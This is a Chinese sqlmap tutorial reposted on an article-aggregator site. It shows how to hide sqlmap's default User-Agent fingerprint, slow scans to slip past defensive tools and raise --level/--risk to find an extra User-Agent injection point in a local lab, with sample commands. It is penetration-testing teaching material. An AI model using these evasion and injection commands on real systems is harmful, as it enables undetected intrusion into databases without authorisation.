    注入工具SQLMAP教程:Tamper编写;指纹修改;高权限操作;目录架构等,注入工具:sqlMap,安全,sql,测试工具

3、打乱默认指纹:

–user-agent “” #自定义user-agent
–random-agent #随机user-agent

  • 面试问题:由于显示的数据包user-agent会携带一些**固有流量特征**,会被蓝队进行防护和识别。

    • sqlmap的固有流量特征数据包user-agent中会默认其版本号

    • User-agent: sqlmap/1.7.2.16#dev (https://sqlmap.org)

      注入工具SQLMAP教程:Tamper编写;指纹修改;高权限操作;目录架构等,注入工具:sqlMap,安全,sql,测试工具

  • 解决方式:通过自定义或者随机ua头,避免被过滤

    • 通过自定义user-agent:--user-agent ""

    • 随机user-agent:python sqlmap.py -u “http://192.168.137.1:84/sqli/new.php?id=1” -v 4 –random-agent

      注入工具SQLMAP教程:Tamper编写;指纹修改;高权限操作;目录架构等,注入工具:sqlMap,安全,sql,测试工具

      注入工具SQLMAP教程:Tamper编写;指纹修改;高权限操作;目录架构等,注入工具:sqlMap,安全,sql,测试工具

  • 面试问题:一个网址访问过快,大量的请求,频繁的扫描行为,可能引起网络防御工具的注意。

  • 解决方式:使用延迟响应语句python sqlmap.py -u “http://192.168.137.1:84/sqli/new.php?id=1” -v 4 --random-agent –time-sec=(2,5)

--time-sec=5#延迟响应,默认迟为5秒。

  • -time-sec=5 是sqlmap的一个命令行选项,用于指定在检测过程中用于基于时间的盲注攻击的时间延迟范围。设置了时间延迟的范围,以使sqlmap能够在进行基于时间的盲注攻击时更灵活地进行操作。时间延迟是在进行盲注时,根据响应的延迟时间来判断是否成功执行了SQL语句

    注入工具SQLMAP教程:Tamper编写;指纹修改;高权限操作;目录架构等,注入工具:sqlMap,安全,sql,测试工具

4、风险等级:–level --risk等级限制

–level=(1-5) #要执行的测试水平等级,默认为1
–risk=(0-3) #测试执行的风险等级,默认为1

注入工具SQLMAP教程:Tamper编写;指纹修改;高权限操作;目录架构等,注入工具:sqlMap,安全,sql,测试工具

  • 总结:在使用盲注扫描注入点的时候,可以将规则等级进行设置提示,可能会扫到其他的注入点。
  1. 将源码设置为两个可注入点:分别为idUser-Agent

    注入工具SQLMAP教程:Tamper编写;指纹修改;高权限操作;目录架构等,注入工具:sqlMap,安全,sql,测试工具

  2. 当使用sqlmap进行扫描的时候,不使用自己创建的Tamper脚本,默认扫描注入点:

    1. 首先使用默认等级进行扫描:

      1. python sqlmap.py -u “http://192.168.137.1:84/sqli/new.php?id=1”

      2. 发现有过滤,无法寻找到注入点

        注入工具SQLMAP教程:Tamper编写;指纹修改;高权限操作;目录架构等,注入工具:sqlMap,安全,sql,测试工具

      注入工具SQLMAP教程:Tamper编写;指纹修改;高权限操作;目录架构等,注入工具:sqlMap,安全,sql,测试工具

    2. 在执行代码后==规定等级:==**--level=3(测试水平等级)** --risk=2(执行的风险等级) python sqlmap.py -u “http://192.168.137.1:84/sqli/new.php?id=1” --level=3 --risk=2

      1. 发现找到注入点:但是不是先前判断的id注入点,而是不知晓的User-Agent
      2. 原因:使用高等级的规则进行查询扫描注入点的时候,又可能会扫描到其他注入点

      注入工具SQLMAP教程:Tamper编写;指纹修改;高权限操作;目录架构等,注入工具:sqlMap,安全,sql,测试工具

      注入工具SQLMAP教程:Tamper编写;指纹修改;高权限操作;目录架构等,注入工具:sqlMap,安全,sql,测试工具

注入工具SQLMAP教程:Tamper编写;指纹修改;高权限操作;目录架构等,注入工具:sqlMap,安全,sql,测试工具文章来源地址https://www.toymoban.com/news/detail-835477.html

到了这里,关于注入工具SQLMAP教程:Tamper编写;指纹修改;高权限操作;目录架构等的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • [网络安全]sqlmap加密注入教程+实战详析

    在使用手工注入绕过参数加密的限制时,需要构造出原始POC再进行加密注入,耗时耗力,因此采用sqlmap加密注入。 在开始本文前,sqlmap基础知识及姿势可参考: [网络安全]以留言板项目渗透实例带你入门sqlmap 基本语法: * 表示只对该参数进行注入测试,不加 * 的话还会测试

    2024年02月07日
    浏览(56)
  • 【网络安全-sql注入(5)】sqlmap以及几款自动化sql注入工具的详细使用过程(提供工具)

    分享一个非常详细的网络安全笔记,是我学习网安过程中用心写的,可以点开以下链接获取: 超详细的网络安全笔记 (也可以拿自己的环镜来玩,我是用pikachu靶场来演示的) 【网路安全 --- pikachu靶场安装】超详细的pikachu靶场安装教程(提供靶场代码及工具)_网络安全_Ai

    2024年02月08日
    浏览(53)
  • 【2023最新版】超详细Sqlmap安装保姆级教程,SQL注入使用指南,收藏这一篇就够了

    一、sqlmap简介 sqlmap是一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL进行SQL注入。目前支持的数据库有MySql、Oracle、Access、PostageSQL、SQL Server、IBM DB2、SQLite、Firebird、Sybase和SAP MaxDB等 Sqlmap采用了以下5种独特的SQL注入技术 基于布尔类型的盲注,即可以根据

    2024年02月10日
    浏览(62)
  • 黑客工具之sqlmap安装教程,超详细使用教程(附工具安装包)

    一、sqlmap简介 sqlmap支持MySQL, Oracle,PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird,Sybase和SAP MaxDB等数据库的各种安全漏洞检测。 sqlmap支持五种不同的注入模式: 基于布尔的盲注,即可以根据返回页面判断条件真假的注入 基于时间的盲注,即不能根据页面返回内容

    2023年04月10日
    浏览(39)
  • 渗透工具-sqlmap-基本知识及使用教程

      -u 指定目标URL (可以是http协议也可以是https协议) -d 连接数据库 --dbs 列出所有的数据库 --current-db 列出当前数据库 --tables 列出当前的表 --columns 列出当前的列 -D 选择使用哪个数据库 -T 选择使用哪个表 -C 选择使用哪个列 --dump 获取字段中的数据 --dump-all  拖库 --batch  自动选择

    2024年02月04日
    浏览(47)
  • 指纹识别工具WhatWeb使用教程,图文教程(超详细)

    「作者主页」: 士别三日wyx 「作者简介」: CSDN top100、阿里云博客专家、华为云享专家、网络安全领域优质创作者 「推荐专栏」: 对网络安全感兴趣的小伙伴可以关注专栏《网络安全入门到精通》 WhatWeb是一款指纹识别工具,使用Ruby语言开发,kali自带。 whatweb IP/域名 扫描

    2024年02月09日
    浏览(45)
  • SQL注入(DVWA靶场搭建及使用、sqlMap注入、sqlmap问题及解决办法)

    1、客户端向服务端请求的流程 2、SQL注入常见分类  3、SQL注入常见过程  4、SQL注入的作用  5、常用SQL测试语句  注释字符: 一、下载DVWA 下载地址:DVWA/README.zh.md at master · digininja/DVWA · GitHub 这里我是从GitHub上下载的,小伙伴们自行选择 二、安装DVWA 在安装前,需要做一个

    2024年01月23日
    浏览(47)
  • Sqlmap注入参数

    😊😊😊😊😊😊😊🌭🌭🌭🌭🌭🌭🌭❤️❤️❤️❤️❤️❤️❤️🥨🥨🥨🥨 -----------------------------------------------------------------------------注意---------------------------------------------------------------------------------------------------------- 没有授权的渗透测试均属于违法行为,请勿

    2024年02月01日
    浏览(41)
  •  sql注入之sqlmap使用

    (1)get注入 python sqlmap.py -u \\\" 指定注入点的URL \\\" #其中“ -u ”参数用于 指定注入点的URL 。 python sqlmap.py -u \\\" 指定注入点的URL \\\" --dbs #,其中参数“ --dbs ”用于列举数据库。 python sqlmap.py -u \\\" 指定注入点的URL \\\" -D iwebsec --tables #其中参数“ -D ”用于指定数据库名称,“ --tables ”参数

    2024年02月15日
    浏览(47)
  • 利用sqlmap进行post注入学习笔记

    sqlmap是一款开源、功能强大的自动化SQL注入工具,支持Access,MySQL,Oracle,SQL Server,DB2等多种数据库。支持get,post ,cookie注入,支持基于布尔的盲注,基于时间的盲注,错误回显注入,联合查询注入,堆查询注入等。 1.在登录处,用于判断用户名、密码会使用select语句;

    2024年02月13日
    浏览(45)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包